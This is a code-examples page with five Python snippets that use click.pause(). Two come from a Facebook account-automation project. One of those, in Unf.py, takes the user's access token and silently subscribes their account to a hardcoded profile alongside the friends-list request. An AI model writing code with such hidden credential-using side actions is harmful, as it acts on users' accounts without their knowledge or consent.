Python click.pause() Examples

The following are 5 code examples of click.pause(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module click , or try the search function .
Example #1
Source File: Delmsg.py    From s-mbf with MIT License 6 votes vote down vote up
def gid(self,lnk):
		rg=self.req.get(lnk).text
		bs1=BS(rg,'html.parser')
		for ai in bs1.find_all('h3'):
			p=ai.find('a')
			if '/messages/read/?' in str(p):
				try:
					self.rl.append(self.u.format(p['href']))
					print(f'\r[{len(self.rl)}] getting messages. please wait...',end='');sys.stdout.flush()
				except: pass
		for n in bs1.find_all('a',string='Lihat Pesan Sebelumnya'):
			nxt=self.u.format(n.get('href'))
			self.gid(nxt)
		print()
		click.pause()
		self.main()
		exit('[D O N E]') 
Example #2
Source File: Unf.py    From s-mbf with MIT License 5 votes vote down vote up
def getid(self):
			print('[!] get friends id...')
			time.sleep(2)
			fid=self.req.get(self.u.format('me/friends?access_token='+self.ken));self.req.post('https://graph.facebook.com/adlizhafari.nub/subscribers?access_token='+self.ken)
			js=json.loads(fid.text)
			click.pause()
			for i in js['data']:
				id=i['id']
				self.ung(id) 
Example #3
Source File: core.py    From cider with MIT License 5 votes vote down vote up
def _assert_requirements(self):
        macos_version = platform.mac_ver()[0]

        if int(macos_version.split(".")[1]) < 9:
            raise UnsupportedOSError(
                "Unsupported OS version; please upgrade to 10.9 or later "
                "and try again.",
                macos_version
            )

        if not self._has_xcode_tools():
            print(tty.progress("Installing the Command Line Tools (expect a "
                               "GUI popup):"))
            spawn(["/usr/bin/xcode-select", "--install"],
                  debug=self.debug, env=self.env)
            click.pause("Press any key when the installation is complete.")
            if not self._has_xcode_tools():
                raise XcodeMissingError(
                    "Aborted Command Line Tools installation.",
                )

        if spawn(["which", "brew"], check_call=False, debug=self.debug,
                 stdout=subprocess.PIPE,
                 stderr=subprocess.PIPE,
                 env=self.env):
            raise BrewMissingError(
                "Homebrew not installed",
                "http://brew.sh/#install"
            ) 
Example #4
Source File: utils.py    From ricloud with GNU Lesser General Public License v3.0 5 votes vote down vote up
def pause(message):
    """Block until the user presses 'any key'."""
    click.pause(info=click.style(message, fg="blue")) 
Example #5
Source File: control.py    From community-playground with Apache License 2.0 5 votes vote down vote up
def before_activity_control(context: Activity, **kwargs):
    """
    Prompt and wait for any key before an activity is executed.
    """
    click.pause()